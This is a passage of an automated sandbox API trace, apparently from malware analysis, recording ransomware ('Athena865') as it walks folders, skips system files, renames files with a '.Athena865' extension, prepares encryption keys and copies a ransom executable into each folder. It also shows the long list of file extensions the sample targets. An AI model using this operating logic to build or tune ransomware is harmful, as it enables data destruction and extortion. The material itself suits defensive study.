[0119.930] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="perflogs") returned 1 [0119.930] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="MSBuild") returned 1 [0119.930] lstrlenW (lpString="rectangle_widescreen_Thumbnail.bmp") returned 34 [0119.930] lstrcpyW (in: lpString1=0x241e8a0, lpString2="rectangle_widescreen_Thumbnail.bmp" | out: lpString1="rectangle_widescreen_Thumbnail.bmp") returned="rectangle_widescreen_Thumbnail.bmp" [0119.930] lstrlenW (lpString="rectangle_widescreen_Thumbnail.bmp") returned 34 [0119.930] lstrlenW (lpString="Athena865") returned 9 [0119.931] lstrcmpiW (lpString1="bnail.bmp", lpString2="Athena865") returned 1 [0119.931] lstrlenW (lpString=".dll") returned 4 [0119.931] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2=".dll") returned 1 [0119.931] lstrlenW (lpString=".lnk") returned 4 [0119.931] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2=".lnk") returned 1 [0119.931] lstrlenW (lpString=".ini") returned 4 [0119.931] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2=".ini") returned 1 [0119.931] lstrlenW (lpString=".sys") returned 4 [0119.931] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2=".sys") returned 1 [0119.931] lstrlenW (lpString="rectangle_widescreen_Thumbnail.bmp") returned 34 [0119.931] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp.Athena865") returned 88 [0119.931] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp.athena865"), dwFlags=0x1) returned 1 [0119.939] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.942] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5072) returned 1 [0119.942] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.943] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.943] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.943] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16d0, lpName=0x0) returned 0x154 [0119.944] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16d0) returned 0x100000 [0119.945] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.946] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.946] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.946] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ResizingPanels", cAlternateFileName="RESIZI~1")) returned 1 [0119.946] lstrcmpiW (lpString1="ResizingPanels", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.946] lstrcmpiW (lpString1="ResizingPanels", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.946] lstrcmpiW (lpString1="ResizingPanels", lpString2=".") returned 1 [0119.946] lstrcmpiW (lpString1="ResizingPanels", lpString2="..") returned 1 [0119.946] lstrcmpiW (lpString1="ResizingPanels", lpString2="windows") returned -1 [0119.946] lstrcmpiW (lpString1="ResizingPanels", lpString2="bootmgr") returned 1 [0119.946] lstrcmpiW (lpString1="ResizingPanels", lpString2="temp") returned -1 [0119.946] lstrcmpiW (lpString1="ResizingPanels", lpString2="pagefile.sys") returned 1 [0119.946] lstrcmpiW (lpString1="ResizingPanels", lpString2="boot") returned 1 [0119.946] lstrcmpiW (lpString1="ResizingPanels", lpString2="ids.txt") returned 1 [0119.946] lstrcmpiW (lpString1="ResizingPanels", lpString2="ntuser.dat") returned 1 [0119.946] lstrcmpiW (lpString1="ResizingPanels", lpString2="perflogs") returned 1 [0119.946] lstrcmpiW (lpString1="ResizingPanels", lpString2="MSBuild") returned 1 [0119.947] lstrlenW (lpString="ResizingPanels") returned 14 [0119.947] lstrcpyW (in: lpString1=0x241e8a0, lpString2="ResizingPanels" | out: lpString1="ResizingPanels") returned="ResizingPanels" [0119.947] lstrcatW (in: lpString1="ResizingPanels", lpString2="\\" | out: lpString1="ResizingPanels\\") returned="ResizingPanels\\" [0119.947] lstrcatW (in: lpString1="ResizingPanels\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="ResizingPanels\\HOW TO BACK YOUR FILES.exe") returned="ResizingPanels\\HOW TO BACK YOUR FILES.exe" [0119.947] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\how to back your files.exe"), bFailIfExists=1) returned 1 [0119.983] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e91e8b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e91e8b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="scene_button_style_default_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0119.983] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.983] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.983] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2=".") returned 1 [0119.983] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="..") returned 1 [0119.983] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="windows") returned -1 [0119.983] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="bootmgr") returned 1 [0119.983] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="temp") returned -1 [0119.983] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="pagefile.sys") returned 1 [0119.984] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="boot") returned 1 [0119.984] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="ids.txt") returned 1 [0119.984] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="ntuser.dat") returned 1 [0119.984] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="perflogs") returned 1 [0119.984] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2="MSBuild") returned 1 [0119.984] lstrlenW (lpString="scene_button_style_default_Thumbnail.bmp") returned 40 [0119.984] lstrcpyW (in: lpString1=0x241e8a0, lpString2="scene_button_style_default_Thumbnail.bmp" | out: lpString1="scene_button_style_default_Thumbnail.bmp") returned="scene_button_style_default_Thumbnail.bmp" [0119.984] lstrlenW (lpString="scene_button_style_default_Thumbnail.bmp") returned 40 [0119.984] lstrlenW (lpString="Athena865") returned 9 [0119.984] lstrcmpiW (lpString1="bnail.bmp", lpString2="Athena865") returned 1 [0119.984] lstrlenW (lpString=".dll") returned 4 [0119.984] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2=".dll") returned 1 [0119.984] lstrlenW (lpString=".lnk") returned 4 [0119.984] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2=".lnk") returned 1 [0119.984] lstrlenW (lpString=".ini") returned 4 [0119.984] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2=".ini") returned 1 [0119.984] lstrlenW (lpString=".sys") returned 4 [0119.984] lstrcmpiW (lpString1="scene_button_style_default_Thumbnail.bmp", lpString2=".sys") returned 1 [0119.984] lstrlenW (lpString="scene_button_style_default_Thumbnail.bmp") returned 40 [0119.984] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp.Athena865") returned 94 [0119.984] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp.athena865"), dwFlags=0x1) returned 1 [0119.985] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0119.985] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5072) returned 1 [0119.985] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.986] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.986] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.986] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16d0, lpName=0x0) returned 0x17c [0119.988] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16d0) returned 0x100000 [0119.989] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.990] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.990] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.990] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8d25f6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8d25f6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="shadowonlyframe_buttongraphic.png", cAlternateFileName="")) returned 1 [0119.990] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.990] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.990] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2=".") returned 1 [0119.990] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="..") returned 1 [0119.990] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="windows") returned -1 [0119.990] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="bootmgr") returned 1 [0119.990] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="temp") returned -1 [0119.990] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="pagefile.sys") returned 1 [0119.990] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="boot") returned 1 [0119.990] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="ids.txt") returned 1 [0119.990] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="ntuser.dat") returned 1 [0119.990] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="perflogs") returned 1 [0119.991] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="MSBuild") returned 1 [0119.991] lstrlenW (lpString="shadowonlyframe_buttongraphic.png") returned 33 [0119.991] lstrcpyW (in: lpString1=0x241e8a0, lpString2="shadowonlyframe_buttongraphic.png" | out: lpString1="shadowonlyframe_buttongraphic.png") returned="shadowonlyframe_buttongraphic.png" [0119.991] lstrlenW (lpString="shadowonlyframe_buttongraphic.png") returned 33 [0119.991] lstrlenW (lpString="Athena865") returned 9 [0119.991] lstrcmpiW (lpString1="aphic.png", lpString2="Athena865") returned -1 [0119.991] lstrlenW (lpString=".dll") returned 4 [0119.991] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2=".dll") returned 1 [0119.991] lstrlenW (lpString=".lnk") returned 4 [0119.991] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2=".lnk") returned 1 [0119.991] lstrlenW (lpString=".ini") returned 4 [0119.991] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2=".ini") returned 1 [0119.991] lstrlenW (lpString=".sys") returned 4 [0119.991] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2=".sys") returned 1 [0119.991] lstrlenW (lpString="shadowonlyframe_buttongraphic.png") returned 33 [0119.991] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png.Athena865") returned 87 [0119.991] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png.athena865"), dwFlags=0x1) returned 1 [0119.992] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0119.992] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3462) returned 1 [0119.992] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.993] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.993] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.993] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1090, lpName=0x0) returned 0x17c [0119.995] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1090) returned 0x100000 [0119.995] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.996] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.996] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.997] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8f8753, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8f8753, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd3e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="shadowonlyframe_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0119.997] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.997] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.997] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2=".") returned 1 [0119.997] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="..") returned 1 [0119.997] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="windows") returned -1 [0119.997] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="bootmgr") returned 1 [0119.997] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="temp") returned -1 [0119.997] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="pagefile.sys") returned 1 [0119.997] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="boot") returned 1 [0119.997] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="ids.txt") returned 1 [0119.997] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="ntuser.dat") returned 1 [0119.997] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="perflogs") returned 1 [0119.997] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2="MSBuild") returned 1 [0119.997] lstrlenW (lpString="shadowonlyframe_selectionsubpicture.png") returned 39 [0119.997] lstrcpyW (in: lpString1=0x241e8a0, lpString2="shadowonlyframe_selectionsubpicture.png" | out: lpString1="shadowonlyframe_selectionsubpicture.png") returned="shadowonlyframe_selectionsubpicture.png" [0119.997] lstrlenW (lpString="shadowonlyframe_selectionsubpicture.png") returned 39 [0119.997] lstrlenW (lpString="Athena865") returned 9 [0119.998] lstrcmpiW (lpString1="cture.png", lpString2="Athena865") returned 1 [0119.998] lstrlenW (lpString=".dll") returned 4 [0119.998] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2=".dll") returned 1 [0119.998] lstrlenW (lpString=".lnk") returned 4 [0119.998] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2=".lnk") returned 1 [0119.998] lstrlenW (lpString=".ini") returned 4 [0119.998] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2=".ini") returned 1 [0119.998] lstrlenW (lpString=".sys") returned 4 [0119.998] lstrcmpiW (lpString1="shadowonlyframe_selectionsubpicture.png", lpString2=".sys") returned 1 [0119.998] lstrlenW (lpString="shadowonlyframe_selectionsubpicture.png") returned 39 [0119.998] lstrlenW (lpString="bak") returned 3 [0119.998] lstrcmpiW (lpString1="png", lpString2="bak") returned 1 [0119.998] lstrlenW (lpString="ba_") returned 3 [0119.998] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1 [0119.998] lstrlenW (lpString="dbb") returned 3 [0119.998] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1 [0119.998] lstrlenW (lpString="vmdk") returned 4 [0119.998] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1 [0119.998] lstrlenW (lpString="rar") returned 3 [0119.998] lstrcmpiW (lpString1="png", lpString2="rar") returned -1 [0119.998] lstrlenW (lpString="zip") returned 3 [0119.998] lstrcmpiW (lpString1="png", lpString2="zip") returned -1 [0119.998] lstrlenW (lpString="tgz") returned 3 [0119.998] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1 [0119.998] lstrlenW (lpString="vbox") returned 4 [0119.998] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1 [0119.998] lstrlenW (lpString="vdi") returned 3 [0119.998] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1 [0119.999] lstrlenW (lpString="vhd") returned 3 [0119.999] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1 [0119.999] lstrlenW (lpString="vhdx") returned 4 [0119.999] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1 [0119.999] lstrlenW (lpString="avhd") returned 4 [0119.999] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1 [0119.999] lstrlenW (lpString="db") returned 2 [0119.999] lstrcmpiW (lpString1="ng", lpString2="db") returned 1 [0119.999] lstrlenW (lpString="db2") returned 3 [0119.999] lstrcmpiW (lpString1="png", lpString2="db2") returned 1 [0119.999] lstrlenW (lpString="db3") returned 3 [0119.999] lstrcmpiW (lpString1="png", lpString2="db3") returned 1 [0119.999] lstrlenW (lpString="dbf") returned 3 [0119.999] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1 [0119.999] lstrlenW (lpString="mdf") returned 3 [0119.999] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1 [0119.999] lstrlenW (lpString="mdb") returned 3 [0119.999] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1 [0119.999] lstrlenW (lpString="sql") returned 3 [0119.999] lstrcmpiW (lpString1="png", lpString2="sql") returned -1 [0119.999] lstrlenW (lpString="sqlite") returned 6 [0119.999] lstrcmpiW (lpString1="re.png", lpString2="sqlite") returned -1 [0119.999] lstrlenW (lpString="sqlite3") returned 7 [0119.999] lstrcmpiW (lpString1="ure.png", lpString2="sqlite3") returned 1 [0119.999] lstrlenW (lpString="sqlitedb") returned 8 [0119.999] lstrcmpiW (lpString1="ture.png", lpString2="sqlitedb") returned 1 [0119.999] lstrlenW (lpString="xml") returned 3 [0120.000] lstrcmpiW (lpString1="png", lpString2="xml") returned -1 [0120.000] lstrlenW (lpString="$er") returned 3 [0120.000] lstrcmpiW (lpString1="png", lpString2="$er") returned 1 [0120.000] lstrlenW (lpString="4dd") returned 3 [0120.000] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1 [0120.000] lstrlenW (lpString="4dl") returned 3 [0120.000] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1 [0120.000] lstrlenW (lpString="^^^") returned 3 [0120.000] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1 [0120.000] lstrlenW (lpString="abs") returned 3 [0120.000] lstrcmpiW (lpString1="png", lpString2="abs") returned 1 [0120.000] lstrlenW (lpString="abx") returned 3 [0120.000] lstrcmpiW (lpString1="png", lpString2="abx") returned 1 [0120.000] lstrlenW (lpString="accdb") returned 5 [0120.000] lstrcmpiW (lpString1="e.png", lpString2="accdb") returned 1 [0120.000] lstrlenW (lpString="accdc") returned 5 [0120.000] lstrcmpiW (lpString1="e.png", lpString2="accdc") returned 1 [0120.000] lstrlenW (lpString="accde") returned 5 [0120.000] lstrcmpiW (lpString1="e.png", lpString2="accde") returned 1 [0120.000] lstrlenW (lpString="accdr") returned 5 [0120.000] lstrcmpiW (lpString1="e.png", lpString2="accdr") returned 1 [0120.000] lstrlenW (lpString="accdt") returned 5 [0120.000] lstrcmpiW (lpString1="e.png", lpString2="accdt") returned 1 [0120.000] lstrlenW (lpString="accdw") returned 5 [0120.000] lstrcmpiW (lpString1="e.png", lpString2="accdw") returned 1 [0120.000] lstrlenW (lpString="accft") returned 5 [0120.000] lstrcmpiW (lpString1="e.png", lpString2="accft") returned 1 [0120.000] lstrlenW (lpString="adb") returned 3 [0120.000] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0120.001] lstrlenW (lpString="adb") returned 3 [0120.001] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0120.001] lstrlenW (lpString="ade") returned 3 [0120.001] lstrcmpiW (lpString1="png", lpString2="ade") returned 1 [0120.001] lstrlenW (lpString="adf") returned 3 [0120.001] lstrcmpiW (lpString1="png", lpString2="adf") returned 1 [0120.001] lstrlenW (lpString="adn") returned 3 [0120.001] lstrcmpiW (lpString1="png", lpString2="adn") returned 1 [0120.001] lstrlenW (lpString="adp") returned 3 [0120.001] lstrcmpiW (lpString1="png", lpString2="adp") returned 1 [0120.001] lstrlenW (lpString="alf") returned 3 [0120.001] lstrcmpiW (lpString1="png", lpString2="alf") returned 1 [0120.001] lstrlenW (lpString="ask") returned 3 [0120.001] lstrcmpiW (lpString1="png", lpString2="ask") returned 1 [0120.001] lstrlenW (lpString="btr") returned 3 [0120.001] lstrcmpiW (lpString1="png", lpString2="btr") returned 1 [0120.001] lstrlenW (lpString="cat") returned 3 [0120.001] lstrcmpiW (lpString1="png", lpString2="cat") returned 1 [0120.001] lstrlenW (lpString="cdb") returned 3 [0120.001] lstrcmpiW (lpString1="png", lpString2="cdb") returned 1 [0120.001] lstrlenW (lpString="ckp") returned 3 [0120.001] lstrcmpiW (lpString1="png", lpString2="ckp") returned 1 [0120.001] lstrlenW (lpString="cma") returned 3 [0120.001] lstrcmpiW (lpString1="png", lpString2="cma") returned 1 [0120.001] lstrlenW (lpString="cpd") returned 3 [0120.001] lstrcmpiW (lpString1="png", lpString2="cpd") returned 1 [0120.001] lstrlenW (lpString="dacpac") returned 6 [0120.001] lstrcmpiW (lpString1="re.png", lpString2="dacpac") returned 1 [0120.001] lstrlenW (lpString="dad") returned 3 [0120.002] lstrcmpiW (lpString1="png", lpString2="dad") returned 1 [0120.002] lstrlenW (lpString="dadiagrams") returned 10 [0120.002] lstrcmpiW (lpString1="icture.png", lpString2="dadiagrams") returned 1 [0120.002] lstrlenW (lpString="daschema") returned 8 [0120.002] lstrcmpiW (lpString1="ture.png", lpString2="daschema") returned 1 [0120.002] lstrlenW (lpString="db-journal") returned 10 [0120.002] lstrcmpiW (lpString1="icture.png", lpString2="db-journal") returned 1 [0120.002] lstrlenW (lpString="db-shm") returned 6 [0120.002] lstrcmpiW (lpString1="re.png", lpString2="db-shm") returned 1 [0120.002] lstrlenW (lpString="db-wal") returned 6 [0120.002] lstrcmpiW (lpString1="re.png", lpString2="db-wal") returned 1 [0120.002] lstrlenW (lpString="dbc") returned 3 [0120.002] lstrcmpiW (lpString1="png", lpString2="dbc") returned 1 [0120.002] lstrlenW (lpString="dbs") returned 3 [0120.002] lstrcmpiW (lpString1="png", lpString2="dbs") returned 1 [0120.002] lstrlenW (lpString="dbt") returned 3 [0120.002] lstrcmpiW (lpString1="png", lpString2="dbt") returned 1 [0120.002] lstrlenW (lpString="dbv") returned 3 [0120.002] lstrcmpiW (lpString1="png", lpString2="dbv") returned 1 [0120.002] lstrlenW (lpString="dbx") returned 3 [0120.002] lstrcmpiW (lpString1="png", lpString2="dbx") returned 1 [0120.002] lstrlenW (lpString="dcb") returned 3 [0120.002] lstrcmpiW (lpString1="png", 